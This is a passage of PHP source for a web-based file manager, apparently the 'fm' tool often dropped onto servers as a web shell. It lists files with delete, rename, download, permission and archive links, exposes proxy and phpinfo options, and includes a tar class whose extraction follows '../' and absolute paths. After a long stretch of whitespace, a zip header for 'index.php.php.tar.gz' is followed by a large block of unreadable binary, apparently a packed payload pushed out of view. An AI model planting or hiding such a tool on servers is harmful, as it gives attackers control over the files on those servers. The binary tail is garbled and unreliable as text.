		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   PK     S])cJf  Jf    index.php.php.tar.gznu [              w#q Zz}c}kW͡MM&$] 
@
lk-Zɣ-ɲ=#KuYGI#zx_/_Ef	HvKZrYUm2hl(2h%Zb>^`v~;]nty}.|w'ey3j
P7yogӱ[έ(\4xe+Ƿ凗#,F?Aw^{o/W<1|/>^/;=C߿k.-,>G;WcO"_0->>}~|P޷?0y7y_>;|q-xV[~:]|pS'O^GP^.i?,? OXۋO.|3˿,߬B9_y(GN7חo7Go-~gś87+/@-X @~"`ym˯@o+?[~W>ۀⓀ[Ͽk4iO_]C ?WzYRo,2}i7Y8%@g\~t
SeA>e	?[h凖-?y,y=h&p8ڿ[=zPPHj-?_{On;/~x}p|2@l~6Gm嗀OZIo.:*4j7L(͒y嗖_[~e6{?x?3hś B竻^2\zq+ݺ?8d^Z[5I,UC;}{G-@̄^k7=4J9-O_}=DdNP}
_,9pѹ[~s-{ǹ@{ךxo#Go_#/>&zg^~g'ruo5^~}FA '0W/<yoJ7}@.twN}/@j|uw񖿳.؋P~	<[~PBZ~u|A#)[# !,zkOˏ.޼By?@N_4^\K@zlft`׋O>z[|o{z<sǗ_,?zꋙo?x~cLG'×|ۅ-;,p7@zG_\~y O|o{%TԚw4_?ŧ=wK	lKq@嫉_[|W˽YK`ru ?A_}n'ίA|ko;A.{}^,'?!z \o輪k,~jzI͟>1Յ`=Ov+goߍ?y5w@Y|hZT닷r!9{ms/_`q0G7/?ŷ@}Qxq<dh_uoN/k{W?@WQa
ŏt7); @?6xZ(Uԧ>{275lŗC!W
<Z|_'}/7t}O>}{apz{K/_p)+>X|#r[~v%|}ԝF,p^N71>mN_-?Dz?[B}f:]~|o/M+?Gۭkᄽ Cїj",>/߂$.>5Wˏ:7k--Z~53;˷۳sʟŷYБ-| g˿
Ҩ~s)߇Q]oRo^@|Ƽ]~;mx7 qeq|"~W_~zg\H_gġ7xz/GZ~cm{zr>Wa $['J~}G
~sJO~0\~n'o{H
'@mM)޳ a/_Z|qn?&Xo_~/k_Mn%S__oߏ^[5hɷ!o .Y~y٪KP`"|:|>5s9q>HeOT1T#Pcq^z lTV` 3A!kZ>CSt̮S}.(awohP{yxDYGGs- iAg[` w@KmTv vw.\)R(>G{}Jw-=KXKrC>YlNޣ,wgnڴp٧g5Ē]`<}/-"Kۤ{"K[brDA#0f"Z `']"Ǝa('ILW}m/{_$+I "2NsME(oJR02nYtl3u|KۧP"L. x+G Qt,ElRd$sd6e8C%Rz#RbRUTleV4bĦ$ce2H<U	I %*ZǐEDGz.	8*z.a<% Y+`uEɢ& $Ey]ڀ	/4HQ#_$F.kX~:[C5yiO4~IP	%bZD*bP&G\DTQ;+RRkX@hq@lm{$wPC)]ĢȘ P2&e$iX.DIݳ
OEtuԋ=,z&^G^`Xr i@,j@YVkD`k&5m%
|9`9-P(-^&X) &peTRB~̺
El&]oS+-R9	`=phPa0F2ࡄ}2lmZ I%Ϗѿ1-(V>*E1kETOiw)#e{Xn=qu./ww$f*Jz|J#}z!Q#E/*i+UYLBH\" B1ӛqwSA%X@4@6_bE4
|{hkHC@iNKGJMP&$PLOFKczm,4,Y.֩'F	p.3Tk)(c
[҈\Wu?c}hm%%*.3Oue1X:!;a]9}{HXfzHWTЉ\ULSi֯=65"]Я!֨GFTwBPy0w)qax2"]Э!tKʈq2i@@%'L)_ԡ!uF5`@L.q]pFБJdf!5)C;	xRO`'7u#XH7~ŉBdf#PA)DjROQS7&qo9/WymΧì6NP(@E}m JPG*+O(ad%>~'AJXP߱XhR0ANxMC+	2R$äM dz
"XN{R#Ԙ;-$+]9IJn*o_έZZ x6cڧ{-ֆTuĲ05KX[C&+#6 ޕFfL (t	RͦP	Etőj;1V-/J#\'&%ʔD$@l!`}'̊^dQw)Z}~B9nh^	l  ~lڦ޶b77Sۂ1i#n2<ẃJSoT
fOy=Wε^ߑ`˜'6n \Hl>Rfǋ.kro}TJ6ǁrT(?ẏxF#P%<&8YV
H5A sy;P>-c!Trqp|t#"Hޱtk3,Lbd{zYTOl)ν\M%jW"ӋR7@wkc7E|ckEkxeޞRMѬ\ѝ	Dx."R@ڟȇ<7ǨIq%Gh>>֩n"IM>AJ}C0bK,WTV; z̼0=cd<p@"'{+n/amE%Pkx	U\Ɓ~h_b(2 =e#>F$Jhf{5$	h;x^+!ɨk mM xJF"aQg+
Mʘk)H"Ph D |:G5Q4}ʾOI* A4]c ﮡ4\["PWk"o 0KP6WV,p?J<=6.Sķ)/GK"/H2eAiffE#̯Z,'NI 08rY	ϞMy}%{`9&yKUAM2?x&E޳'A7K~>+TjGdz>:Ӱ7Ev3~ÑEGd[Dv#BKf9E(q@wj- 4,w	g#(N,m3mDј.om>D[Jsq3Rooi'mS4F{}#ʹt|ܵ$5Ln#|}TEWCˣt}VۦPI[+|c83>Bǎ' Sȉp+&*s#1zu*zat#(o
G~-wFUЗr&g#YI<qkeUJeMՏ<)q@+{)X6dc ʮLQhc<kxBY}HyJhЪ
.=v)uxTQ8͜S@1"lpruMTY]-~/>n۠&iBZkEH7Lҏ		z'[8.ԝ\WmKon̫hsMGRoQv,aH\J-g96WP+c1+DN.GB#S%ɀr	uDG̣1Tr,;ƨ?8dٻo%E؄'%Mu76y=@><{FAp׋jwGK	C.ȦKדAdEbY,D\l6N0zmWťmcED7/Fr;Q.	3V!@E?3kf+ړS
$) (Wa`["S6 (CfVnQaU$#""gR2'q>1nԇi ko*"!LGEP,P>GUiiӦ
#bD.By㑱,e%	-@(UY+z@cP<]T<]BRkQ#R:t-ubdnf}j7*z0LwCZ޺<LtuAfF:RjrD=!
jtǱw_x{kD(E@'Pi<Tk|T\ LHxa㑕zVO* CrDzL!/Z*www;]vn< ;$;0]heb%ڨ92Ծ0e}$Iuυzl{Br@a2.U<QY~EfGÄ$&;KEe<@[S":4Z| ğAmbq`Tˁ2A(֠*QNyEVRV^,:~^QIaL)eёD*a58W 5GLHR7q`DCh	4gRMV۪&"pya_[\_-=95&}%#BwV(j3
3dHRۙRA(%uWHz(ĥ\m	EVԹr>LԬK׍ZF3ӘHJF UIT(gKg}3~xlppJ[G]Q+GV(5}d:o]j~A3b-]^F%s򭯓(Jj}fJ3E 'Hڧahyi夻s0U9P2-/TSuw?]b!dځQDAs$<CS7f$Ҝxy6Q**Bdʴ𶈒|4~n}|tt881@\kƊh\YrwCDx#4Fxۧ[]j$va̤:"MϖĞ vԂ zB'sE5R$Hy|GmMס7m#ι`mN޼q8U3w_
O6_0gApeI4,XOIX\0Pe~gsWZ9m'8;lg4%5F)$zf/nr˚Gkd{jÒ4R*eNo9FNw*m}ֳLՉnLTvHɶ;87کFlbYwν\e4=q_yEL3mz]V{.^HX4IZmvfKq!w\+N<['<sE1ipU]VvE_$~2k#y/	vQЙN)Z6PsX%3R &[rʛ]H%mT'3oj烳3ﺊxHIdye	Ygt{(tsD_fhjs ݢ[E +=Ĵ3\C/wףVzn;GVbfϭN]qyc&&6򐚎<ևg&^z~rA6"J#WrqDݚyWtv^R/+3]*1F<\j~b#!VJ	O	^)sghyrZX,%yE-ltJa̵[KOsi9p8)fnY4.-:lKymڙ9lZspqj#4ds8xYu1]#y /ޤ]t.w0:8mqjF;	OhO9}3ԫƎaOGM=w{BlXBBߚקg>g'"tZ1q9ѩg514GMm[JyYo3n09+E uX=I8'5:Ldm>G7gRHvq,i~^W܄TPY0h-Ymc{ms$R%&5V(tR6c GWP>Bcښrr Ө0M(Nak{f] Xx΢aiK@
{kXiz
ԸVL<G|1W>z\"{42oZN3r2ƈQto(@O&&P^ًm:3.zrOМ#P'mNl8bm-WhmmZVAw$>	-dD67l5smyk.10x!

(%׶[c`xU4$*#W7믡BEVef,WhzD?8[^+d!p5kc|F׿%t%ɣ>"$V4{UXD(uO§X4m`s34J0Z?m8DoځQ3΂7^6<N58'RU
V}>|	 <FgrD7eM#Th|6.Sd(K(uBZH^RUf$g"2LbG 1YWi#sYiHse}go)~~_ُ?[F)ҹX/Bi+7>{YJ%֣cSPVsLuDl0hK^=꤭)2Y^Ov*=$Z\3#^øpĨN
:*dx)t8dJ~2P`jsCr	ew4 ڜhHxyȋh9 4[(0}~vPu/VۉѪCsL+1CsdmD¢
ZKokEI#f'ØfF?@i-dHaJ
!6M* eTJ˄EW(.׊`
]ؑЏugȱ
zhYm< rkSþ@e}!ߠhm
ImbT)L,d*sxT,.iISԂn(_WoѸymJ7uYq)GqO\yؠnf{z=V0tawBcj`,>lTQmƇPuh2#8T)N3n\()sPHf%D,L,&XO(=HmMhї
J5J.UBPcj3M(l{lhC+hyldyUkk:O0\E8PkPQ;Z!C
%PR<pu]İ-W)Gߞ1\	
NUw0Ru54p`#|[Z߸xJmWCܾ9
W19ȇJ=T#VEkj\ZGq MriD90B7T|\n퀎NF9c(7W63yfU!mVbipl2d?fJv-eָTGGv&2DYx?g쟦EܬJ#kRd\E),чGZ2=jB;[AQvz#25Vɔ[uQwe!BdhV\oy?<&,_~{Lyڪ﫫Qx|{Зܩ+ԡN<T/#[Z(زh#cPBIqurspyȳa;ɘ`!+!L=uk
lݠr~%
JHb3;P|AQYj8Ѯj+CB$#T5iҍy&z-'Ot5íI4YYNYj1'm
i2  SW'Oq%nVٙOS*	:o65\ӳ)4U8^=Զr0?(H67CnJ<<+=LDRiX,;)]El4 |xbǭ NXhZJCO/olX<O9ϲ}uMq>z>=uซkKǖ3_';΀igUk1Ymxj	 !mۃX_g+Rܟe޵Rݣod:XsrC
4IJN`}P*KK፟}DxFF-Z&TUoUZoÄ?F6v&BD5;Vv1b9vuH)6iNy\BJ<U%S3YdCʃ?Ӥ<xv5;Ӡ ȑeLT.!C%H1Y|ŕR1ʁgN=xLPx֣II]ep&2GibFXYזZmVuЦǿ:I-Ăz{
L0""LNN
]KrMh&̜'3@1I W
Kǣ&o1x6_~	.FG|I~9̔:tͦe1ұ<+
q}^_/$RC0ÇmrpBͤ:nBwYQޫS'{Xv=NNާ8M1%IV
Ãee qqq_N2,JChJ>WjoS5t1L6%U!~ x#cAJ}Nn@w瞍| rH}o=$N;| ;i}7ucyi ȴ`Ae|}AOc5`^>p%|)6nG<Ƈ<W$4F;zeq(*^X[ϑ󏵖y{SB`+	,AfֳPO:֖DeAq(8=8DF@J(j<h<C+ nA%ïԹ	4">=k##x!`F5Gu,kأިW%cX2bFMLIXHMV;6kL1,)ZZ~Y
GĠ]}KДy&>)PnD0=wȭg:U#~Gkxo;lCEg/sst^s+*ipVsVX)8\9͕ArPzi\jYuJBeusk\GR)-6tP*Z8p8ȴ8+
>ŨCCk-m..#F{fp:RR0_($NHWCѹ
mk6<bt
t*
8
Nm07P$Pڻv2MoPH X8Yq&;h@
\Z+⡆䂵^(RС<ZV lD$'nIpɐ+
g",h{@㳴;/T!o߫(!Z?*<J
9AG"vn"19+vM~5VL[@kie2)wF}4u{~+c[eU)Z!<|A>(ن񞯕/ZV$B<K|˶zg#n:'NL#gJ}plzI(ewǞ#J4&^LsOK=-YOl}_r;"z9˖DԳn/Z')k^
1tQdY=w~Z@ Dnذ~Y6[iAOvz.^1!m!`K>
&`0f+cy ؞y0d|>t*r`(/NOZ	zʱll^4@ƎHNt.Ѥwwm,僳@X)l ʲVj]+x=Y(|xwOZ?(ţi3~Xo=m46D| `xG^<6+]p-W8W=M?BV&NiV9}2ɴ*y6RFS1-1TMwf+f´=9*~1Z@X4V%	yW)$ZPigI7܎f02	|ZU*hǓyӠd#YR3_?hbvaU|jl4%P ,~bvc\YN%k/a"ݓ`%CҖzqypִzVì.lc XQ{2]VI>Om.bz:b	kTn:u&0հ7.[CDhPN
t96D8
̰%d9n\҇BZN9a+Ry8p伎Td/{:3|͑N=U[;SaxĲ3NUZ!g*Zb\LUGx9N΋3!*Ν!DKL=lj/8.`..o.L|VdwZ-OှXC{S鑏fZ9Opj繋PeUW:]t=1V٢Xj|M4|[tbOm2LYäQ[4mɤԼOim>i$͚_Ӂ.ܕB~ԈrSd;1.vIuNWV;gJTuҾP	+Jd1:s1Or}+SsxM(/JC9Q$LG29˕ryCI#o=?2]W*7񅧒wkH;(Wi78>Xq5}8i[~48o;u_~3棬=<Fe>glGjg	(+gjv{:OݝYL&ukr ֦+>fF<`^ejwzm3:عY9/T6FX˩ظ)z95X]pa'^f"yˮMÎgYSV|ruyٖJCY,cgi[vص=ZR:ɜJ$鳞5j9GyrrNHEP(DYf
.=0(sn4ڞ~,9qSgveݞ	mb"}̻"^Ϫ@R%G9oa6ͻF7믌=.(HO,L'$;q,f=p!k6:&}$q13v&sV0HΚbcv	q\~Y[>-Hh{2nkX|g1۝3d1nr
|Dg<feT%SVܐog:<sڵuzMJ3?5h_&'$(ܰƗ<b+;iۼ%2UZqWg(ǜ&Ex]M8j<73=bg:eb=-Eyp8Cg*caFMgUg|2(墂w"ChVGhZ0EkOb-꩗-u܍LV]gGFlU:{?Zx@{V"w=8<2.a4ӉUaزI_gs:
r6_rNlH֘/kKqb/j羹V%(ӎZڔά+G#S8l!`'^ǕyW![:kgS6p3{:r;yͦ'Sm\:.
